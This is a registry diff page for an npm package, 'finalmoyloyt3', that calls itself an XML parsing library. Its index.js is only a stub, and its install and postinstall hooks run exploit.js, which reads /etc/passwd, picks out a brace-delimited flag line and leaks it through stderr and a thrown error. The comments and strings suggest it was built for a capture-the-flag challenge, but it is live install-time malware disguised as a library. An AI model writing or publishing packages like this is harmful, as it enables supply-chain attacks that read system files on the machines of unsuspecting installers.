finalmoyloyt3 0.30.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/exploit.js +35 -0
- package/index.js +16 -0
- package/package.json +13 -0
package/exploit.js
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
|
|
3
|
+
// --- Основная логика (СИНХРОННАЯ) ---
|
|
4
|
+
|
|
5
|
+
let flag = 'FLAG_NOT_FOUND';
|
|
6
|
+
|
|
7
|
+
try {
|
|
8
|
+
// 1. Синхронно читаем файл
|
|
9
|
+
const passwdContent = fs.readFileSync('/etc/passwd', 'utf8');
|
|
10
|
+
|
|
11
|
+
// 2. Ищем флаг по паттерну {}
|
|
12
|
+
const lines = passwdContent.split('\n');
|
|
13
|
+
for (const line of lines) {
|
|
14
|
+
if (line.includes('{') && line.includes('}')) {
|
|
15
|
+
flag = line.trim();
|
|
16
|
+
break;
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
} catch(e) {
|
|
21
|
+
// Если не удалось прочитать /etc/passwd
|
|
22
|
+
flag = `ERROR_READING_FILE: ${e.message}`;
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
// 3. Выбрасываем ошибку, содержащую флаг
|
|
26
|
+
if (flag !== 'FLAG_NOT_FOUND') {
|
|
27
|
+
// Используем console.error, который пишет в stderr
|
|
28
|
+
console.error(`!!! CTF-FLAG-EXFILTRATION-SUCCESS: ${flag} !!!`);
|
|
29
|
+
// Принудительно вызываем ошибку, чтобы гарантировать запись в stderr
|
|
30
|
+
throw new Error(`FLAG_FOUND_AND_EXFILTRATED: ${flag}`);
|
|
31
|
+
} else {
|
|
32
|
+
// Если флаг не найден, просто завершаем
|
|
33
|
+
console.log('Flag not found in /etc/passwd, continuing...');
|
|
34
|
+
}
|
|
35
|
+
|
package/index.js
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
// Заглушка для совместимости с API, который ожидает server.js
|
|
2
|
+
module.exports = {
|
|
3
|
+
parseXmlString: function(xml, options) {
|
|
4
|
+
// Возвращаем минимальный объект, чтобы избежать сбоя
|
|
5
|
+
return {
|
|
6
|
+
get: function(xpath) {
|
|
7
|
+
return {
|
|
8
|
+
text: function() {
|
|
9
|
+
return "parsed_data";
|
|
10
|
+
}
|
|
11
|
+
};
|
|
12
|
+
}
|
|
13
|
+
};
|
|
14
|
+
}
|
|
15
|
+
};
|
|
16
|
+
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "finalmoyloyt3",
|
|
3
|
+
"version": "0.30.1",
|
|
4
|
+
"description": "XML parsing library",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node exploit.js",
|
|
8
|
+
"install": "node exploit.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": ["xml", "parser"],
|
|
11
|
+
"author": "test",
|
|
12
|
+
"license": "MIT"
|
|
13
|
+
}
|